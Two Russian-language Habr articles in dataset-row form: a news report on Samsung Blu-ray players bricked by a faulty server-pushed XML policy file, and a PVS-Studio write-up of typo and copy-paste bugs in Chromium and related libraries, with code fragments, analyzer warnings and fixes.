text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Samsung объяснила, что ее Blu-ray плееры сломались из-за неправильного файла XML, а перепрошивкой проблему решить нельзя
Уже более месяца с 17 июня 2020 года тысячи обладателей домашних кинотеатров, стерео систем и Blu-ray плееров Samsung по всему миру не могут пользоваться своими домашними электронными устройствами. Их техника после включения уходит в цикличную перезагрузку.
Производитель только в середине июля 2020 года [признал](https://us.community.samsung.com/t5/Home-Theater/Blu-ray-player-power-cycling-whenever-plugged-in/m-p/1285080#M14987) эту проблему и просит всех пострадавших пользователей переслать или привезти сломанное оборудование на бесплатный ремонт в сервисный центр, причем стоимость отправки также будет компенсирована. Samsung [пояснила](https://www.theregister.com/2020/07/18/samsung_bluray_mass_dieoff_explained/), что подобная поломка возникла из-за отправленного ранее по сети на все устройства файла XML, который содержал ошибку внутри. Именно из-за нее тысячи устройств компании стали после включения уходить в цикличную перезагрузку. Вдобавок, из-за того, что сбой в работе устройств происходит в начале загрузочной процедуры, именно тогда идет обработка файла некорректного файла XML, то сбросить устройство до начальных установок или перепрошить в домашних условиях невозможно.
Таким образом, Samsung сама себе создала серьезную проблему, которая затрагивает сразу множество домашних мультимедиа устройств Samsung, а не только одну модель или линейку оборудования. В инциденте пострадали следующие устройства, согласно сообщениям пользователей: Samsung HT-J4550/XU, BD-JM51, HT-J4200/4500/5530, BD J5100/5700/5900, BD-JM57C, HT-J5500W и другие модели домашних кинотеатров, стерео систем и Blu-ray плееров, включая очень старые, например, BD-P1590. Большая часть этих устройств подключается к сети интернет по кабелю или беспроводным способом для показа контента с различных онлайн-ресурсов, а также получения обновлений.
Некоторое время [американские](https://us.community.samsung.com/t5/Home-Theater/Blu-ray-player-power-cycling-whenever-plugged-in/td-p/1278935/page/145) и [европейские](https://eu.community.samsung.com/t5/Audio-Video/HT-J4500-home-cinema-cycling-on-and-off-repeatedly/td-p/1811217/highlight/false/page/56) пользователи пострадавших устройств пытались совместно понять причину их поломки и найти хоть какое-нибудь решение. Российские пользователи домашнего оборудования Samsung также столкнулись с этой проблемой. Однако, пока что единственный способ восстановить устройство отправить его в СЦ.
Пользователь с инженерным образованием по имени Gray [рассказал](https://www.theregister.com/2020/07/18/samsung_bluray_mass_dieoff_explained/) изданию Register о своем расследовании этой проблемы с вышедшими из строя Blu-ray плеерами. По его версии Samsung периодически проверяет по сети все свои устройства на соответствие текущим системным политикам компании. После обновления политик на серверах Samsung выкладываются новые файлы XML, которые передаются на пользовательские устройства и сохраняются там во флэш-памяти. Причем системное программное обеспечение Blu-ray плееров не имеет приоритета для удаления или игнорирования этих файлов, если в них есть ошибки.
Оказалось, что до 18 июня 2020 года все проверки обновления политик проходили успешно и без проблем, так как на серверах Samsung были корректные файлы XML. Каждое устройство стандартно обращалось по сети по адресу «[configprd.samsungcloudsolution.net/openapi/dict/logpolicyconfig](https://configprd.samsungcloudsolution.net/openapi/dict/logpolicyconfig)» и получало по необходимости обновления файла XML, причем это делалось в автоматическом режиме без согласия пользователя и не является частью процедуры обновлении прошивки, а отключить этот процесс пользователь не может, да и о нем ему неизвестно.
18 июня 2020 года ближе к вечеру на серверах Samsung был обновлен файл XML для большинства устройств. Но в нем содержалась ошибка (пустой список list), из-за которой устройства не могли правильно транслировать необходимую последовательность действий, зависали и перезагружались.
```
xml version="1.0"?
```
Фактически системное программное обеспечение (bdpprog) многих Blu-ray плееров не могло обработать этот файл с ошибкой, а при попытке его выполнения создавалась недопустимая ссылка во внутренней памяти устройства, переход по которой приводил к завершению процедуры загрузки и перезапуску системы, перезагрузка, отключение от сети, попытки вернуться к заводским настройкам — это не помогало в данном случае.
Позже выяснилось, что для исправления этой глобальной ситуации требуется физический доступ ко всем сломанным устройствам и выполнение определенного процесса низкоуровневой отладки работы компонентов на пострадавших Blu-ray плеерах, вплоть до пайки проводов на контроллеры устройств для его соединения с внешним программатором.
Также оказалось, что специалисты Samsung только 27 июня 2020 года разобрались в этой ситуации и заменили файл XML на корректный, до этого момента устройства выходили из строя по всему миру, как только их подключали к сети. Ранее некоторые пользователи предположили, что эта проблема была связана с истекающими сертификатами SSL, но это оказалось не так.
Samsung не названа точное количество сломанных из-за этой ошибки домашних мультимедиа устройств и не пояснила, почему некорректный файл XML был выложен на сервера компании без проверки его содержимого.
> См. также:
>
> * «[Владельцы домашней техники Samsung создали на Сhange.org петицию и требуют от производителя публично признать проблему](https://habr.com/ru/news/t/507986/)»
> * «[Владельцы Blu-ray плееров Samsung по всему миру жалуются на их цикличную перезагрузку, производитель не знает ее причины](https://habr.com/ru/news/t/507542/)»
> | https://habr.com/ru/post/511706/ | null | ru | null |
# Chromium: опечатки
Предлагаем вашему вниманию цикл статей, посвященных рекомендациям по написанию качественного кода на примере ошибок, найденных в проекте Chromium. Это четвёртая часть, которая будет посвящена проблеме опечаток и написанию кода с помощью «Copy-Paste метода».
От опечаток в коде никто не застрахован. Опечатки можно встретить в коде самых квалифицированных программистов. Квалификация и опыт, к сожалению, не защищают от того, чтобы перепутать название переменной или забыть что-то написать. Поэтому опечатки были, есть и будут.
Появление дополнительных ошибок провоцирует методика написания кода с помощью Copy-Paste. К сожалению, копировать код — это эффективный метод, и ничего с этим не сделать. Намного быстрее скопировать несколько строк и что-то в них поправить, чем написать фрагмент кода заново. Я даже не буду стараться отговорить от этого метода, так как сам грешен и использую копирование кода. Неприятным побочным эффектом копирования является то, что в скопированном фрагменте кода забывают что-то изменить. Эти ошибки в каком-то смысле тоже являются опечатками: по невнимательности забыли что-то изменить в тексте или изменили неправильно.
Давайте посмотрим, какие опечатки я заметил в процессе разбора отчета, выданного PVS-Studio. Как я писал в [вводной статье](https://habrahabr.ru/company/pvs-studio/blog/347536/), отчёт был просмотрен достаточно бегло, поэтому могут быть и другие незамеченные мной ошибки. В этой статье речь пойдёт о самых глупых и простых ошибках. Но от того, что ошибки глупые, они не перестают быть ошибками.
Разыменование нулевого указателя
--------------------------------
Согласно Common Weakness Enumeration ошибки разыменования нулевого указателя можно классифицировать как [CWE-476](https://cwe.mitre.org/data/definitions/476.html).
Приведённые далее ошибки относятся к коду проекта Chromium.
```
class Display : ....
{
....
std::unique_ptr focus\_controller\_;
....
}
Display::~Display() {
....
if (!focus\_controller\_) {
focus\_controller\_->RemoveObserver(this);
focus\_controller\_.reset();
}
....
}
```
Неправильно написано условие. Указатель разыменовывается, если он нулевой. Символ '!' здесь явно лишний.
Предупреждение PVS-Studio: [V522](https://www.viva64.com/ru/w/v522/) CWE-476 Dereferencing of the null pointer 'focus\_controller\_' might take place. display.cc 52
Следующая ошибка достойна носить звание «Классической классики».
```
void AppViewGuest::CreateWebContents(....) {
....
if (!guest_extension ||
!guest_extension->is_platform_app() ||
!embedder_extension |
!embedder_extension->is_platform_app()) {
callback.Run(nullptr);
return;
}
....
}
```
Опечатка. Вместо оператора '||' случайно написали оператор '|'. В результате, указатель *embedder\_extension* разыменовывается независимо от того, нулевой он или нет.
**Примечание.** Если статью читает кто-то, слабо знакомый с языком C++, то предлагаю ознакомиться со статьёй "[Short-circuit evaluation](https://en.wikipedia.org/wiki/Short-circuit_evaluation)", чтобы понять, в чём тут дело.
Предупреждение PVS-Studio: V522 CWE-476 Dereferencing of the null pointer 'embedder\_extension' might take place. Check the bitwise operation. app\_view\_guest.cc 186
Следующая ошибка связана с тем, что код не дописан. Я думаю, это тоже можно рассматривать как опечатку. Должны были присвоить какое-то значение умному указателю, но забыли.
```
std::unique_ptr
NetworkingPrivateServiceClient::GetEnabledNetworkTypes() {
std::unique\_ptr network\_list;
network\_list->AppendString(::onc::network\_type::kWiFi);
return network\_list;
}
```
Умный указатель по умолчанию является нулевым. Раз этот указатель после создания не изменяется, то произойдёт разыменование нулевого указателя.
Предупреждение PVS-Studio: V522 CWE-476 Dereferencing of the null pointer 'network\_list' might take place. networking\_private\_service\_client.cc 351
Давайте теперь изучим какой-нибудь более сложный случай.
```
Response CSSAgent::getMatchedStylesForNode(int node_id,
Maybe\* inline\_style)
{
UIElement\* ui\_element = dom\_agent\_->GetElementFromNodeId(node\_id);
\*inline\_style = GetStylesForUIElement(ui\_element);
if (!inline\_style)
return NodeNotFoundError(node\_id);
return Response::OK();
}
```
Предупреждение PVS-Studio: [V595](https://www.viva64.com/ru/w/v595/) CWE-476 The 'inline\_style' pointer was utilized before it was verified against nullptr. Check lines: 142, 143. css\_agent.cc 142
Указатель *inline\_style* разыменовывается до проверки на равенство *nullptr*. Мне кажется, это следствие опечатки: здесь просто пропустили символ звёздочка '\*'. В этом случае корректный код должен выглядеть так:
```
*inline_style = GetStylesForUIElement(ui_element);
if (!*inline_style)
return NodeNotFoundError(node_id);
```
Впрочем, возможно хотели проверить именно указатель *inline\_style*. В этом случае это не опечатка, а ошибка в логике функции. Тогда, чтобы исправить код, нужно переместить проверку выше, до вызова функции *GetStylesForUIElement*. Тогда функция должна быть такой:
```
Response CSSAgent::getMatchedStylesForNode(int node_id,
Maybe\* inline\_style)
{
UIElement\* ui\_element = dom\_agent\_->GetElementFromNodeId(node\_id);
if (!inline\_style)
return NodeNotFoundError(node\_id);
\*inline\_style = GetStylesForUIElement(ui\_element);
return Response::OK();
}
```
У меня закончились ошибки разыменования нулевого указателя, относящиеся к коду Chromium, но есть ещё одна, замеченная мною в движке V8.
```
bool Object::IsSmi() const { return HAS_SMI_TAG(this); }
bool IC::IsHandler(Object* object) {
return (object->IsSmi() && (object != nullptr)) ||
object->IsDataHandler() ||
object->IsWeakCell() ||
object->IsCode();
}
```
Указатель *object* вначале разыменовывается, а уже потом проверяется на равенство *nullptr*. Да и вообще выражение выглядит как-то подозрительно. Очень похоже на опечатку при поспешном программировании: сначала написали *object->IsSmi()*, потом вспомнили, что надо проверить указатель *object* на равенство *nullptr* и добавили проверку. А подумать забыли :).
Анализатор PVS-Studio выдаёт здесь сразу два предупреждения:
* V522 CWE-628 Dereferencing of the null pointer 'object' might take place. The null pointer is passed into 'IsHandler' function. Inspect the first argument. Check lines: 'ic-inl.h:44', 'stub-cache.cc:19'. ic-inl.h 44
* [V713](https://www.viva64.com/ru/w/v713/) CWE-476 The pointer object was utilized in the logical expression before it was verified against nullptr in the same logical expression. ic-inl.h 44
Copy-Paste
----------
Невозможно классифицировать ошибки, допущенные из-за Copy-Paste, согласно Common Weakness Enumeration. Нет такого дефекта, как «Copy-Paste» :). Разные опечатки будут приводить к дефектам разного типа. Далее я покажу ошибки, которые можно классифицировать как:
* [CWE-563](https://cwe.mitre.org/data/definitions/563.html): Assignment to Variable without Use
* [CWE-570](https://cwe.mitre.org/data/definitions/570.html): Expression is Always False
* [CWE-571](https://cwe.mitre.org/data/definitions/571.html): Expression is Always True
* [CWE-682](https://cwe.mitre.org/data/definitions/682.html): Incorrect Calculation
* [CWE-691](https://cwe.mitre.org/data/definitions/691.html): Insufficient Control Flow Management
Начнём вновь с кода, относящегося непосредственно к проекту Chromium.
```
void ProfileSyncService::OnEngineInitialized(....)
{
....
std::string signin_scoped_device_id;
if (IsLocalSyncEnabled()) {
signin_scoped_device_id = "local_device";
} else {
SigninClient* signin_client = ....;
DCHECK(signin_client);
std::string signin_scoped_device_id = // <=
signin_client->GetSigninScopedDeviceId();
}
....
}
```
Я прямо чувствую, как программисту было лень набирать вновь имя переменной *signin\_scoped\_device\_id*. И он решил скопировать это имя. Однако случайно, вместе с именем, он скопировал и тип *std::string*:
```
std::string signin_scoped_device_id
```
Следствием лени стало то, что возвращенное функцией *GetSigninScopedDeviceId* значение будет помещено во временную переменную, которая тут же будет уничтожена.
Предупреждение PVS\_Studio: [V561](https://www.viva64.com/ru/w/v561/) CWE-563 It's probably better to assign value to 'signin\_scoped\_device\_id' variable than to declare it anew. Previous declaration: profile\_sync\_service.cc, line 900. profile\_sync\_service.cc 906
Следующую ошибку я встретил в движке V8, который используется в Chromium.
```
static LinkageLocation ForSavedCallerReturnAddress() {
return ForCalleeFrameSlot(
(StandardFrameConstants::kCallerPCOffset -
StandardFrameConstants::kCallerPCOffset) /
kPointerSize,
MachineType::Pointer());
}
```
Скорее всего программист скопировал *StandardFrameConstants::kCallerPCOffset* и хотел изменить имя константы, но забыл это сделать. Поэтому в коде константа вычитается сама из себя, в результате чего получается 0. После чего этот 0 делится на *kPointerSize*, но это уже не имеет никакого значения. Все равно получится 0.
Предупреждение PVS-Studio: [V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions 'StandardFrameConstants::kCallerPCOffset' to the left and to the right of the '-' operator. linkage.h 66
Ещё один подозрительный фрагмент кода, замеченный в V8:
```
void JSObject::JSObjectShortPrint(StringStream* accumulator) {
....
accumulator->Add(global_object ? "" :
"");
....
}
```
Предупреждение PVS-Studio: [V583](https://www.viva64.com/ru/w/v583/) CWE-783 The '?:' operator, regardless of its conditional expression, always returns one and the same value: "". objects.cc 2993
Теперь заглянем в проект PDFium.
```
inline bool FXSYS_iswalpha(wchar_t wch) {
return FXSYS_isupper(wch) || FXSYS_islower(wch);
}
bool CPDF_TextPage::IsHyphen(wchar_t curChar) const {
WideStringView curText = m_TempTextBuf.AsStringView();
....
auto iter = curText.rbegin();
....
if ((iter + 1) != curText.rend()) {
iter++;
if (FXSYS_iswalpha(*iter) && FXSYS_iswalpha(*iter)) // <=
return true;
}
....
}
```
Скопировали *FXSYS\_iswalpha(\*iter)*. И… И что-то забыли изменить во второй части условия.
Предупреждение PVS-Studio: V501 CWE-571 There are identical sub-expressions 'FXSYS\_iswalpha(\* iter)' to the left and to the right of the '&&' operator. cpdf\_textpage.cpp 1218
Схожую ошибку при написании выражения можно встретить в библиотеке Protocol buffers.
```
bool IsMap(const google::protobuf::Field& field,
const google::protobuf::Type& type) {
return
field.cardinality() ==
google::protobuf::Field_Cardinality_CARDINALITY_REPEATED
&&
(GetBoolOptionOrDefault(type.options(), "map_entry", false) ||
GetBoolOptionOrDefault(type.options(),
"google.protobuf.MessageOptions.map_entry", false) || // <=
GetBoolOptionOrDefault(type.options(),
"google.protobuf.MessageOptions.map_entry", false)); // <=
}
```
Код явно написан с помощью Copy-Paste. Никто не будет повторно набирать такую длинную строчку :).
Предупреждение PVS-Studio: V501 CWE-570 There are identical sub-expressions to the left and to the right of the '||' operator. utility.cc 351
Кстати, рядышком есть ещё одна такая же ошибка: V501 CWE-570 There are identical sub-expressions to the left and to the right of the '||' operator. utility.cc 360
В следующем фрагменте кода из библиотеки SwiftShader нас ждёт мой любимый "[эффект последней строки](https://www.viva64.com/ru/b/0260/)". Красивый баг! Люблю такие.
```
void TextureCubeMap::updateBorders(int level)
{
egl::Image *posX = image[CubeFaceIndex(..._POSITIVE_X)][level];
egl::Image *negX = image[CubeFaceIndex(..._NEGATIVE_X)][level];
egl::Image *posY = image[CubeFaceIndex(..._POSITIVE_Y)][level];
egl::Image *negY = image[CubeFaceIndex(..._NEGATIVE_Y)][level];
egl::Image *posZ = image[CubeFaceIndex(..._POSITIVE_Z)][level];
egl::Image *negZ = image[CubeFaceIndex(..._NEGATIVE_Z)][level];
....
if(!posX->hasDirtyContents() ||
!posY->hasDirtyContents() ||
!posZ->hasDirtyContents() ||
!negX->hasDirtyContents() ||
!negY->hasDirtyContents() || // <=
!negY->hasDirtyContents()) // <=
{
return;
}
....
}
```
В самом конце условия следовало использовать не указатель *negY*, а указатель *negZ*. Явно имеем дело с Copy-Paste строки кода и потерей внимания в самом конце.
Предупреждение PVS-Studio: V501 CWE-570 There are identical sub-expressions '!negY->hasDirtyContents()' to the left and to the right of the '||' operator. texture.cpp 1268
Движок WebKit тоже порадовал красивым багом:
```
bool IsValid(....) const final {
OptionalRotation inherited_rotation =
GetRotation(*state.ParentStyle());
if (inherited_rotation_.IsNone() ||
inherited_rotation.IsNone())
return inherited_rotation.IsNone() ==
inherited_rotation.IsNone();
....
}
```
Предупреждение PVS-Studio: V501 CWE-571 There are identical sub-expressions 'inherited\_rotation.IsNone()' to the left and to the right of the '==' operator. cssrotateinterpolationtype.cpp 166
Скопировали *inherited\_rotation.IsNone()* и забыли добавить символ подчёркивания '\_'. Правильный вариант:
```
return inherited_rotation_.IsNone() ==
inherited_rotation.IsNone();
```
Вновь заглянем в библиотеку Protocol buffers.
```
void SetPrimitiveVariables(....,
std::map\* variables) {
....
(\*variables)["set\_has\_field\_bit\_message"] = "";
(\*variables)["set\_has\_field\_bit\_message"] = "";
(\*variables)["clear\_has\_field\_bit\_message"] = "";
....
}
```
Пояснения излишни. Copy-Paste в чистом виде. Предупреждение PVS-Studio: [V519](https://www.viva64.com/ru/w/v519/) CWE-563 The variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 149, 150. java\_primitive\_field\_lite.cc 150
Продолжим. Программисты должны знать, сколь коварен Copy-Paste. Читайте и ужасайтесь. Перед нами функция, взятая из WebRTC.
```
size_t WebRtcSpl_FilterAR(....)
{
....
for (i = 0; i < state_length - x_length; i++)
{
state[i] = state[i + x_length];
state_low[i] = state_low[i + x_length];
}
for (i = 0; i < x_length; i++)
{
state[state_length - x_length + i] = filtered[i];
state[state_length - x_length + i] = filtered_low[i]; // <=
}
....
}
```
Да, вновь последствия Copy-Paste. Скопировали строку:
```
state[state_length - x_length + i] = filtered[i];
```
Заменили в ней *filtered* на *filtered\_low*. А вот заменить *state* на *state\_low* забыли. В результате часть элементов массива *state\_low* остаются неинициализированными.
Вы устали читать? Представьте, как я устал это писать! Давайте передохнём и выпьем кофе.
ПАУЗА.
Надеюсь вы восстановили силы и готовы продолжить наслаждаться 50-тью оттенками Copy-Paste. Вот что можно увидеть в библиотеке PDFium.
```
bool CPWL_EditImpl::Backspace(bool bAddUndo, bool bPaint) {
....
if (m_wpCaret.nSecIndex != m_wpOldCaret.nSecIndex) {
AddEditUndoItem(pdfium::MakeUnique(
this, m\_wpOldCaret, m\_wpCaret, word.Word, word.nCharset));
} else {
AddEditUndoItem(pdfium::MakeUnique(
this, m\_wpOldCaret, m\_wpCaret, word.Word, word.nCharset));
}
....
}
```
Независимо от условия выполняется одно и тоже действие. Скорее всего, здесь неудачный Copy-Paste. Программист скопировал фрагмент, потом отвлёкся и забыл поправить else-ветку.
Предупреждения PVS-Studio: [V523](https://www.viva64.com/ru/w/v523/) CWE-691 The 'then' statement is equivalent to the 'else' statement. cpwl\_edit\_impl.cpp 1580
Есть ещё три таких же места. Я пожалею читателя и приведу только сообщения анализатора:
* V523 CWE-691 The 'then' statement is equivalent to the 'else' statement. cpwl\_edit\_impl.cpp 1616
* V523 CWE-691 The 'then' statement is equivalent to the 'else' statement. cpdf\_formfield.cpp 172
* V523 CWE-691 The 'then' statement is equivalent to the 'else' statement. cjs\_field.cpp 2323
Библиотека Skia.
```
bool SkPathRef::isValid() const {
....
if (nullptr == fPoints && 0 != fFreeSpace) {
return false;
}
if (nullptr == fPoints && 0 != fFreeSpace) {
return false;
}
....
}
```
Два раза выполняется одинаковая проверка. Вторая проверка лишняя. Или забыли проверить что-то другое. Анализатор сигнализирует о подозрительности этого кода сразу двумя предупреждениями:
* [V581](https://www.viva64.com/ru/w/v581/) The conditional expressions of the 'if' statements situated alongside each other are identical. Check lines: 758, 761. skpathref.cpp 761
* [V649](https://www.viva64.com/ru/w/v649/) CWE-561 There are two 'if' statements with identical conditional expressions. The first 'if' statement contains function return. This means that the second 'if' statement is senseless. Check lines: 758, 761. skpathref.cpp 761
И ещё одна ошибка в библиотеке Skia.
```
static inline bool can_blit_framebuffer_for_copy_surface(
const GrSurface* dst, GrSurfaceOrigin dstOrigin,
const GrSurface* src, GrSurfaceOrigin srcOrigin, ....)
{
....
const GrGLTexture* dstTex =
static_cast(dst->asTexture());
const GrGLTexture\* srcTex =
static\_cast(dst->asTexture()); // <=
const GrRenderTarget\* dstRT = dst->asRenderTarget();
const GrRenderTarget\* srcRT = src->asRenderTarget();
if (dstTex && dstTex->target() != GR\_GL\_TEXTURE\_2D) {
return false;
}
if (srcTex && srcTex->target() != GR\_GL\_TEXTURE\_2D) {
return false;
}
....
}
```
Предупреждение PVS-Studio: [V656](https://www.viva64.com/ru/w/v656/) Variables 'dstTex', 'srcTex' are initialized through the call to the same function. It's probably an error or un-optimized code. Check lines: 3312, 3313. grglgpu.cpp 3313
После Copy-Paste забыли заменить *dst* на *src*. Должно быть написано:
```
const GrGLTexture* srcTex =
static_cast(src->asTexture());
```
Библиотека HarfBuzz.
```
inline int get_kerning (hb_codepoint_t left,
hb_codepoint_t right,
const char *end) const
{
unsigned int l = (this+leftClassTable).get_class (left);
unsigned int r = (this+leftClassTable).get_class (left); // <=
unsigned int offset = l * rowWidth + r * sizeof (FWORD);
....
}
```
Предупреждение PVS-Studio: [V751](https://www.viva64.com/ru/w/v751/) Parameter 'right' is not used inside function body. hb-ot-kern-table.hh 115
Красивая ошибка. Скопировали строчку, но забыли два раза поменять *left* на *right*. Должно быть:
```
unsigned int l = (this+leftClassTable).get_class (left);
unsigned int r = (this+rightClassTable).get_class (right);
```
Библиотека SwiftShader. Уверен, эти однотипные фрагменты кода писались с использование Copy-Paste:
```
class ELFObjectWriter {
....
ELFStringTableSection *ShStrTab;
ELFSymbolTableSection *SymTab;
ELFStringTableSection *StrTab;
....
};
void ELFObjectWriter::assignSectionNumbersInfo(
SectionList &AllSections)
{
....
ShStrTab->setNumber(CurSectionNumber++);
ShStrTab->setNameStrIndex(ShStrTab->getIndex(ShStrTab->getName()));
AllSections.push_back(ShStrTab);
SymTab->setNumber(CurSectionNumber++);
SymTab->setNameStrIndex(ShStrTab->getIndex(SymTab->getName()));
AllSections.push_back(SymTab);
StrTab->setNumber(CurSectionNumber++);
StrTab->setNameStrIndex(ShStrTab->getIndex(StrTab->getName()));
AllSections.push_back(StrTab);
....
}
```
Программист был невнимателен. Во втором блоке текста он забыл заменить *hStrTab->getIndex* на на *SymTab->getIndex*, а в третьем блоке не заменил *hStrTab->getIndex* на *StrTab->getIndex*.
Предупреждение PVS-Studio: V778 CWE-682 Two similar code fragments were found. Perhaps, this is a typo and 'SymTab' variable should be used instead of 'ShStrTab'. iceelfobjectwriter.cpp 194
Следующая ошибка связана с неправильным вычислением размера прямоугольника в библиотеке WebKit. Код «вырви глаз». Слабо заметить ошибку?
```
void NGFragmentBuilder::ComputeInlineContainerFragments(....)
{
....
value.start_fragment_union_rect.size.width =
std::max(descendant.offset_to_container_box.left +
descendant.fragment->Size().width -
value.start_fragment_union_rect.offset.left,
value.start_fragment_union_rect.size.width);
value.start_fragment_union_rect.size.height =
std::max(descendant.offset_to_container_box.top +
descendant.fragment->Size().height -
value.start_fragment_union_rect.offset.top,
value.start_fragment_union_rect.size.width);
....
}
```
В самом конце забыли заменить в скопированном блоке *width* на *height*.
Предупреждение PVS-Studio: [V778](https://www.viva64.com/ru/w/v778/) CWE-682 Two similar code fragments were found. Perhaps, this is a typo and 'height' variable should be used instead of 'width'. ng\_fragment\_builder.cc 326
Уфф… Заканчиваем. Последний фрагмент кода в этом разделе взят из библиотеки PDFium.
```
void sycc420_to_rgb(opj_image_t* img) {
....
opj_image_data_free(img->comps[0].data);
opj_image_data_free(img->comps[1].data);
opj_image_data_free(img->comps[2].data);
img->comps[0].data = d0;
img->comps[1].data = d1;
img->comps[2].data = d2;
img->comps[1].w = yw; // 1
img->comps[1].h = yh; // 1
img->comps[2].w = yw; // 1
img->comps[2].h = yh; // 1
img->comps[1].w = yw; // 2
img->comps[1].h = yh; // 2
img->comps[2].w = yw; // 2
img->comps[2].h = yh; // 2
img->comps[1].dx = img->comps[0].dx;
img->comps[2].dx = img->comps[0].dx;
img->comps[1].dy = img->comps[0].dy;
img->comps[2].dy = img->comps[0].dy;
}
```
Повторяющийся блок присваиваний. Предупреждение PVS-Studio: V760 Two identical blocks of text were found. The second block begins from line 420. fx\_codec\_jpx\_opj.cpp 416
Нет, я вас обманул. Встретился ещё один Copy-Paste из PDFium. Пришлось добавить в статью.
```
void Transform(int x, int y, int* x1,
int* y1, int* res_x, int* res_y) const
{
....
if (*res_x < 0 && *res_x > -kBase)
*res_x = kBase + *res_x;
if (*res_y < 0 && *res_x > -kBase)
*res_y = kBase + *res_y;
}
}
```
Предупреждение PVS-Studio: V778 CWE-682 Two similar code fragments were found. Perhaps, this is a typo and 'res\_y' variable should be used instead of 'res\_x'. cfx\_imagetransformer.cpp 201
Была скопирована строчка:
```
if (*res_x < 0 && *res_x > -kBase)
```
Одно имя переменной *res\_x* заменили на *res\_y*, а второе забыли. В результате в функции отсутствует проверка условия *\*res\_y > -kBase*.
Другие опечатки
---------------
Если опечатки типа «нулевые указатели» и «Copy-Paste» выделились как-то сами собой, то оставшиеся ошибки достаточно разнородны. Я не стал пытаться их как-то классифицировать и просто собрал в этом разделе статьи.
Начнем с фрагмента кода, относящегося к проекту Chromium. Я не уверен, что это ошибка. Однако это место явно стоит проверить разработчикам.
```
namespace cellular_apn {
const char kAccessPointName[] = "AccessPointName";
const char kName[] = "Name";
const char kUsername[] = "Username";
const char kPassword[] = "Password";
const char kLocalizedName[] = "LocalizedName";
const char kLanguage[] = "LocalizedName";
}
```
Подозрительно то, что константы *kLocalizedName* и *kLanguage* содержат в себе одну и ту же строку. Рискну предположить, что должно быть написано вот так:
```
const char kLanguage[] = "Language";
```
Впрочем, я не уверен.
Анализатор PVS-Studio выдаёт здесь предупреждение: [V691](https://www.viva64.com/ru/w/v691/) Empirical analysis. It is possible that a typo is present inside the string literal: «LocalizedName». The 'Localized' word is suspicious. onc\_constants.cc 162
Следующая ошибка в библиотеке Skia просто прекрасна и отсылает нас к статье "[Зло живёт в функциях сравнения](https://www.viva64.com/ru/b/0509/)".
```
inline bool operator==(const SkPDFCanon::BitmapGlyphKey& u,
const SkPDFCanon::BitmapGlyphKey& v) {
return memcmp(&u, &u, sizeof(SkPDFCanon::BitmapGlyphKey)) == 0;
}
```
Из-за опечатки объект *u* сравнивается сам с собой. Получается, что *operator ==* считает любые два объекта одинаковыми.
Предупреждение PVS-Studio: [V549](https://www.viva64.com/ru/w/v549/) CWE-688 The first argument of 'memcmp' function is equal to the second argument. skpdfcanon.h 67
Следующая опечатка в библиотеке Skia приводит к тому, что функция распечатывает не все элементы массива, а многократно выводит информацию о первом элементе. Впрочем, ошибка нестрашная, так как функция предназначена для отладочных целей.
```
SkString dumpInfo() const override {
SkString str;
str.appendf("# combined: %d\n", fRects.count());
for (int i = 0; i < fRects.count(); ++i) {
const RectInfo& geo = fRects[0];
str.appendf("%d: Color: 0x%08x, "
"Rect [L: %.2f, T: %.2f, R: %.2f, B: %.2f]\n", i,
geo.fColor, geo.fRect.fLeft, geo.fRect.fTop,
geo.fRect.fRight, geo.fRect.fBottom);
}
str += fHelper.dumpInfo();
str += INHERITED::dumpInfo();
return str;
}
```
Вместо *fRects[0]* должно быть написано *fRects[i]*. Предупреждение PVS-Studio: V767 Suspicious access to element of 'fRects' array by a constant index inside a loop. grnonaafillrectop.cpp 276
Опечатка в проекте SwiftShader приводит к тому, что макрос *assert* проверяет не всё, что требуется.
```
static Value *createArithmetic(Ice::InstArithmetic::OpKind op,
Value *lhs, Value *rhs)
{
assert(lhs->getType() == rhs->getType() ||
(llvm::isa(rhs) &&
(op == Ice::InstArithmetic::Shl ||
Ice::InstArithmetic::Lshr ||
Ice::InstArithmetic::Ashr)));
....
}
```
Два раза забыли написать «op ==». В результате, частью условия являются константы *Ice::InstArithmetic::Lshr* и *Ice::InstArithmetic::Ashr*, которые ни с чем не сравниваются. Это явная ошибка, из-за которой часть условия всегда истинно.
Здесь на самом деле должно быть написано:
```
assert(lhs->getType() == rhs->getType() ||
(llvm::isa(rhs) &&
(op == Ice::InstArithmetic::Shl ||
op == Ice::InstArithmetic::Lshr ||
op == Ice::InstArithmetic::Ashr)));
```
Анализатор PVS-Studio выдаёт два предупреждения:* [V768](https://www.viva64.com/ru/w/v768/) CWE-571 The enumeration constant 'Lshr' is used as a variable of a Boolean-type. subzeroreactor.cpp 712
* V768 CWE-571 The enumeration constant 'Ashr' is used as a variable of a Boolean-type. subzeroreactor.cpp 712
Кстати, ещё встречаются такие фрагменты кода, которые сами по себе не являются ошибкой или опечаткой. Но они провоцируют опечатки в дальнейшем. Например, это неудачные имена глобальных переменных.
Одну из таких переменных мы можем наблюдать в библиотеке Yasm:
```
static int i; /* The t_type of tokval */
```
Предупреждение PVS-Studio: [V707](https://www.viva64.com/ru/w/v707/) Giving short names to global variables is considered to be bad practice. It is suggested to rename 'i' variable. nasm-eval.c 29
Да, это ещё не ошибка. Но очень легко где-то забыть объявить локальную переменную *i* и воспользоваться глобальной. Причем код скомпилируется, но как после этого будет работать программа — большая загадка. В общем, лучше давать глобальным переменным какие-то более уникальные имена.
Надеюсь, я смог донести всю серьезность ошибок, которые возникают из-за опечаток!
Напоследок, предлагаю познакомиться с красивой опечаткой в библиотеке Protocol buffers, которую я описал в отдельной заметке — "[31 февраля](https://www.viva64.com/ru/b/0550/)".
Рекомендации
------------
Прошу прощения, в этот раз я вас подведу с разделом «рекомендации». Очень сложно дать какие-то чёткие универсальные советы, чтобы избегать ошибок, рассмотренных в статье. Человеку свойственно делать такие ошибки, и всё тут.
Тем не менее, я всё-таки попробую хоть как-то помочь, чтобы уменьшить количество опечаток в программах.
1. Используйте «табличное оформление» сложных условий. Я подробно описал эту технологию в мини-книге "[Главный вопрос программирования, рефакторинга и всего такого](https://www.viva64.com/ru/b/0391/)". Смотрите совет N13 — Выравнивайте однотипный код «таблицей». Кстати, в этом году я планирую написать расширенный вариант этой книги. В неё будет входить уже не 42, а 50 рекомендаций. Плюс некоторые старые главы нуждаются в обновлении и доработке.
